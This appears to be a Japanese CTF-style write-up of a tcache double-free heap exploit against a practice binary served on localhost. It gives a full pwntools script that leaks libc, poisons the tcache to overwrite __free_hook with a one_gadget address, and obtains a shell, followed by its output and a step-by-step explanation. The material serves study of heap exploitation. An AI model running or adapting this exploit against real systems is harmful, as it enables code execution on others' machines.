NULL. - Exit: プログラムを終了.
とりあえず結果
エクスプロイトコード
from pwn import * stdin_off = 0x3eba00 one_gadget_off = 0x4f322 free_hook_off = 0x3ed8e8 s = remote("localhost", 9999) s.recvuntil(">>>>> ") stdin_addr = eval(s.recv(14)) info("stdin_addr: 0x{:08x}".format(stdin_addr)) libc_base = stdin_addr - stdin_off info("libc_base: 0x{:08x}".format(libc_base)) free_hook = libc_base + free_hook_off info("free_hook: 0x{:08x}".format(free_hook)) one_gadget = libc_base + one_gadget_off info("one_gadget: 0x{:08x}".format(one_gadget)) # step1: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("AAAAAAAA") # step2: free(1回目) s.recvuntil("> ") s.sendline("2") # step3: free(2回目) s.recvuntil("> ") s.sendline("2") # step4: wipe s.recvuntil("> ") s.sendline("3") # step5: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(free_hook)) # step6: wipe s.recvuntil("> ") s.sendline("3") # step7: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("BBBBBBBB") # step8: wipe s.recvuntil("> ") s.sendline("3") # step9: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(one_gadget)) # step10: free s.recvuntil("> ") s.sendline("2") s.interactive()
実行結果
$ python solve.py [+] Opening connection to localhost on port 9999: Done [*] stdin_addr: 0x7f4e8212aa00 [*] libc_base: 0x7f4e81d3f000 [*] free_hook: 0x7f4e8212c8e8 [*] one_gadget: 0x7f4e81d8e322 [*] Switching to interactive mode $ id uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)
処理を追ってみる
step1~10に分けて処理を見ていきたいと思います.
step1
まず,1. Allocを選択してデータAAAAAAAAを入力します.

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.
ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.
step2
次に2. Deleteを選択して確保した領域を解放します.
今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.


step3
再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.


step4
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step5
1. Allocを選択し,データとして書き込み先のアドレスを格納します.

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).
step6
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step7
step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcacheに___free_hookへのアドレスが格納されます.

step8
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step9
step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

step10
step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.
おわりに
疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.
